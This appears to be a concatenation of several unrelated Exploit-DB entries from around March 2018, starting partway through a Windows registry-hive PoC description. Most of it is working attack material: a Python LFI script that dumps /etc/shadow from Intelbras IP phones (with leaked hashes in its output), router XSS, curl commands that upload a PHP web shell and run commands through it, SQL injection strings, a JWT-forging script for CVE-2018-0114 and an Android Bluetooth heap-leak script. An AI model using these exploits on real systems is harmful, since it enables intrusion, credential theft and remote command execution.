I’ve provided a PoC as a C# project. In order for the exploit to work you need a copy of the Get Office/My Office application installed (I tested with version 17.8830.7600.0). It could be any desktop bridge application however as you just need to run a program inside the container. Again I’ll note that this will only work on 1703 as the code seems to have been fixed in 1709. The registry hives files it creates will be locked (we can’t easily unload the hive) until reboot although it’s probably possible to trick the system into failing the load while still creating some files.
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
2) Start the Get Office/My Office application
3) Start the poc. It should print that it successfully created the registry files.
Expected Result:
Loading the registry key should fail.
Observed Result:
The registry key is loaded and the file test.hiv has been created in the windows folder with full access for the current user.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44315.zip
# Exploit Title: [INTELBRAS TELEFONE IP TIP200/200 LITE Local File Include]
# Google Dork: []
# Date: 16/03/2018
# Exploit Author: [Matheus Goncalves - anhax0r]
# Vendor Homepage: [https://www.facebook.com/anhaxteam/]
# Software Link: []
# Version: [60.0.75.29] (REQUIRED)
# Tested on: [Debian]
# CVE : [if applicable]
#Remember that you need login with admin credentials to download files !!! in this case, i used default credentials
import requests as http
import subprocess
import os
from requests.auth import HTTPBasicAuth
def poc():
print(""" -------------------------------------------------------------------------------------------------------------
------------- 0day: TELEFONE IP TIP200/200 LITE | Local File Include | Local File Download-------------------
------------- P0c Author: Matheus Goncalves | Pentester at Anhax Security Team -------------------
-------------------------------------------------------------------------------------------------------------\n""")
filename = raw_input("filename Ex: /etc/shadow: -> ")
if(filename == ""):
filename="/etc/shadow"
r = http.get("http://192.168.0.207/cgi-bin/cgiServer.exx?page="+str(filename), auth=HTTPBasicAuth('admin', 'admin'))
print(" ")
text = r.text
print(text)
savefile = raw_input("Save file? [Y\\n]: ")
savefile.upper()
if(savefile=="Y" or savefile=="y"):
os.system("echo '"+text+"' > "+filename.replace("/etc/", ""))
print("File saved !!")
start()
else:
start()
def start():
poc()
start()
#root@hax:~/itscanner# python p0c.py
# -------------------------------------------------------------------------------------------------------------
# ------------- 0day: TELEFONE IP TIP200/200 LITE | Local File Include |-------------------
# ------------- P0c Author: Matheus Goncalves | Pentester at Anhax Security Team -------------------
# -------------------------------------------------------------------------------------------------------------
#filename Ex: /etc/shadow: -> /etc/shadow
#root:$1$83hUAZ/2$GKlGOZlepa6eikA6mfG1l/:11876:0:99999:7:::
#admin:DP7Kg4tE0Y9rs:11876:0:99999:7:::
#Save file? [Y\n]: y
#File saved !!
#root@hax:~/itscanner# cat shadow
#root:$1$83hUAZ/2$GKlGOZlepa6eikA6mfG1l/:11876:0:99999:7:::
#admin:DP7Kg4tE0Y9rs:11876:0:99999:7:::
######################################################################################
# Exploit Title: Coship RT3052 Wireless Router - Persistent Cross Site Scripting (XSS)
# Date: 2018-03-18
# Exploit Author: Sayan Chatterjee
# Vendor Homepage: http://en.coship.com/
# Category: Hardware (Wifi Router)
# Version: 4.0.0.48
# Tested on: Windows 10
# CVE: CVE-2018-8772
#######################################################################################
Proof of Concept
=================
URL: http://192.168.1.254 (Wifi Router Gateway)
Attack Vector : Network Name(SSID)
Payload : <script>alert("S@Y@N")</script>
Reproduction Steps:
------------------------------
1. Access the wifi router gateway [i.e, http://192.168.1.254]
2. Go to "Wireless Setting" -> "Basic"
3. Update "Network Name(SSID)" field with '<script>alert("S@Y@N")</script>'
4. Save the settings.
5. Go to "System Status" and you will be having "S@Y@N" popup.
#######################################################################################
# Exploit Title: VSMS Multiple Vulnerabilities
# Google Dork: N/A
# Date: 16-3-2018
# Exploit Author: Sing
# Vendor Homepage: https://sourceforge.net/projects/vsms-php/?source=typ_redirect
# Software Link: https://sourceforge.net/projects/vsms-php/?source=typ_redirect
# Version: 07/2017 (possible v1.2)
# Tested on: CentOS 6.9
# CVE : CVE-2017-1000474
1 login/vehicles.php: Lack of file type filter enabling attacker to upload PHP scripts that can later be executed
POC
curl -i -b 'PHPSESSID=58csdp0as3lvqapqjesp67tr05' -F 'submit=submit' -F support_images[]=@./getShell.php http://10.0.0.14/soyket-vsms-php-63b563b/login/vehicles.php
The malicious PHP file has been uploaded to /var/www/html/soyket-vsms-php-63b563b/login/uploads. Now, browse to the location and note the file name. In my vase it's 1510529218getShell.php. To execute it do
curl http://10.0.0.14/soyket-vsms-php-63b563b/login/uploads/1510529218getShell.php?cmd=id
2 login/profile.php: Found SQLI in the Date of Birth text box.
POC
Paste the below POC into the birth date text box and update. A mysql version will appear in the Position box
2015-11-30',u_position=@@version,u_type='Employee' WHERE u_email='employee@employee.com';-- -
3 login/Actions.php: Found Stored XSS in manufacturer_name
POC
curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=create -d 'manufacturer_name=<script>alert(document.cookie)</script>'
Now when user's browse to login/model.php page, he/she will see an alert with the session cookie
http://10.0.0.14/soyket-vsms-php-63b563b/login/model.php
4 login/Actions.php (Multiple vulnerabilities)
POC (SQLI)
curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=checkuser -d "username=employee@employee.com' union select 'SQLIIII' into outfile'/tmp/stuff.txt"
This SQLI will write SQLIIII to /tmp/stuff.txt.
POC (Information Leak
curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=listu
This gives anonymous user full list of the users table with unsalted MD5 hash passwords.
5. Solution:
The author notified of a new version with fixes (possibly v1.3). It can be found at vendor’s home page
https://sourceforge.net/projects/vsms-php/?source=typ_redirect
Time Line
Author was notified of the vulnerabilities on 27-01-2018
Author notified of the new updates on 14-03-2018
Exploit released on 16-03-2018
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <linux/kernel.h>
#include <string.h>
#include <sys/mman.h>
#include <linux/fd.h>
static int drive_selector(int head) {
return (head << 2);
}
void fd_recalibrate(int fd) {
struct floppy_raw_cmd raw_cmd;
int tmp;
raw_cmd.flags = FD_RAW_INTR;
raw_cmd.cmd_count = 2;
// set up the command
raw_cmd.cmd[raw_cmd.cmd_count++] = 0x07;
raw_cmd.cmd[raw_cmd.cmd_count++] = drive_selector(0);
tmp = ioctl( fd, FDRAWCMD, &raw_cmd );
printf("Status:%d\n",tmp);
}
int main(){
printf("Start\n");
char *d;
struct floppy_raw_cmd *cmd;
int fd;
fd = open("/dev/fd0",O_RDWR | O_NDELAY);
fd_recalibrate(fd);
close(fd);
printf("End\n");
return 0;
}
#!/usr/bin/env python3
import base64
from urllib.parse import quote_plus
import rsa
import sys
#zi0Black
'''
EDB Note: This has been updated ~ https://github.com/offensive-security/exploitdb/pull/139
POC of CVE-2018-0114 Cisco node-jose <0.11.0
Example: python3 44324.py "mypayload" 512
Created by Andrea Cappa aka @zi0Black (GitHub,Twitter,Telegram)
Enhanced for python3 by github.com/eshaan7
Mail: a.cappa@zioblack.xyz
Site: https://zioblack.xyz
A special thanks to Louis Nyffenegger, the founder of PentesterLab, for all the help he provided to allow me to write this script.
Mail: louis@pentesterlab.com
Site: https://pentesterlab.com
'''
def generate_key(key_size):
#create rsa priv & public key
print ("[+]Creating-RSA-pair-key")
(public_key,private_key) = rsa.newkeys(key_size,poolsize=8)
print ("\t[+]Pair-key-created")
return private_key, public_key
def pack_bigint(i):
b = bytearray()
while i:
b.append(i & 0xFF)
i >>= 8
return b[::-1]
def generate_header_payload(payload,pubkey):
#create header and payload
print ("[+]Assembling-the-header-and-the-payload")
n=base64.urlsafe_b64encode(pack_bigint(pubkey.n)).decode('utf-8').rstrip('=')
e=base64.urlsafe_b64encode(pack_bigint(pubkey.e)).decode('utf-8').rstrip('=')
headerAndPayload = base64.b64encode(('{"alg":"RS256",'
'"jwk":{"kty":"RSA",'
'"kid":"topo.gigio@hackerzzzz.own",'
'"use":"sig",'
'"n":"'+n+'",'
'"e":"'+e+'"}}').encode())
headerAndPayload = headerAndPayload+b"."+base64.b64encode(payload)
headerAndPayload = headerAndPayload
print ("\t[+]Assembed")
return headerAndPayload
def generate_signature(firstpart,privkey):
#create signature
signature = rsa.sign(firstpart,privkey,'SHA-256')
signatureEnc = base64.b64encode(signature)
print ("[+]Signature-created")
return signatureEnc
def create_token(headerAndPayload,sign):
print ("[+]Forging-of-the-token\n\n")
token = (headerAndPayload+b"."+sign).decode('utf-8').rstrip('=')
token = quote_plus(token)
return token
if(len(sys.argv)>0):
payload = bytes(str(sys.argv[1]).encode('ascii'))
key_size = int(sys.argv[2])
else:
payload = b'admin'
key_size = int(512)
banner="""
_____ __ __ ______ ___ ___ __ ___ ___ __ __ _ _
/ ____| \ \ / / | ____| |__ \ / _ \ /_ | / _ \ / _ \ /_ | /_ | | || |
| | \ \ / / | |__ ______ ) | | | | | | | | (_) | ______ | | | | | | | | | || |_
| | \ \/ / | __| |______| / / | | | | | | > _ < |______| | | | | | | | | |__ _|
| |____ \ / | |____ / /_ | |_| | | | | (_) | | |_| | | | | | | |
\_____| \/ |______| |____| \___/ |_| \___/ \___/ |_| |_| |_| by @zi0Black
"""
if __name__ == '__main__':
print (banner)
(privatekey,publickey) = generate_key(key_size)
firstPart = generate_header_payload(payload,publickey)
signature = generate_signature(firstPart,privatekey)
token = create_token(firstPart,signature)
print(token)
import os
import sys
import struct
import bluetooth
BNEP_PSM = 15
BNEP_FRAME_COMPRESSED_ETHERNET = 0x02
LEAK_ATTEMPTS = 20
def leak(src_bdaddr, dst):
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.settimeout(5)
bnep.bind((src_bdaddr, 0))
print 'Connecting to BNEP...'
bnep.connect((dst, BNEP_PSM))
bnep.settimeout(1)
print 'Leaking bytes from the heap of com.android.bluetooth...'
for i in range(LEAK_ATTEMPTS):
# A byte from the heap at (p + controlled_length) will be leaked
# if it's greater than BNEP_FILTER_MULTI_ADDR_RESPONSE_MSG (0x06).
# This BNEP packet can be seen in Wireshark with the following info:
# "Compressed Ethernet+E - Type: unknown[Malformed packet]".
# The response sent by bnep_send_command_not_understood() contains 3 bytes:
# 0x01 (BNEP_FRAME_CONTROL) + 0x00 (BNEP_CONTROL_COMMAND_NOT_UNDERSTOOD) + leaked byte
# 0x82 & 0x80 == 0x80 -> Extension flag = True. 0x82 & 0x7f == 0x2 -> type
type_and_ext_present = BNEP_FRAME_COMPRESSED_ETHERNET | 0x80
# 0x80 -> ext -> we need to pass this check: !(ext & 0x7f)
ext = 0x80
# i -> length (the 'p' pointer is advanced by this length)
bnep.send(struct.pack('<BBB', type_and_ext_present, ext, i))
try:
data = bnep.recv(3)
except bluetooth.btcommon.BluetoothError:
data = ''
if data:
print 'heap[p + 0x%02x] = 0x%02x' % (i, ord(data[-1]))
else:
print 'heap[p + 0x%02x] <= 6' % (i)
print 'Closing connection.'
bnep.close()
def main(src_bdaddr, dst):
os.system('hciconfig %s sspmode 0' % (src_bdaddr,))
os.system('hcitool dc %s' % (dst,))
leak(src_bdaddr, dst)
if __name__ == '__main__':
if len(sys.argv) < 3:
print('Usage: python bnep01.py <src-bdaddr> <dst-bdaddr>')
else:
if os.getuid():
print 'Error: This script must be run as root.'
else:
main(sys.argv[1], sys.argv[2])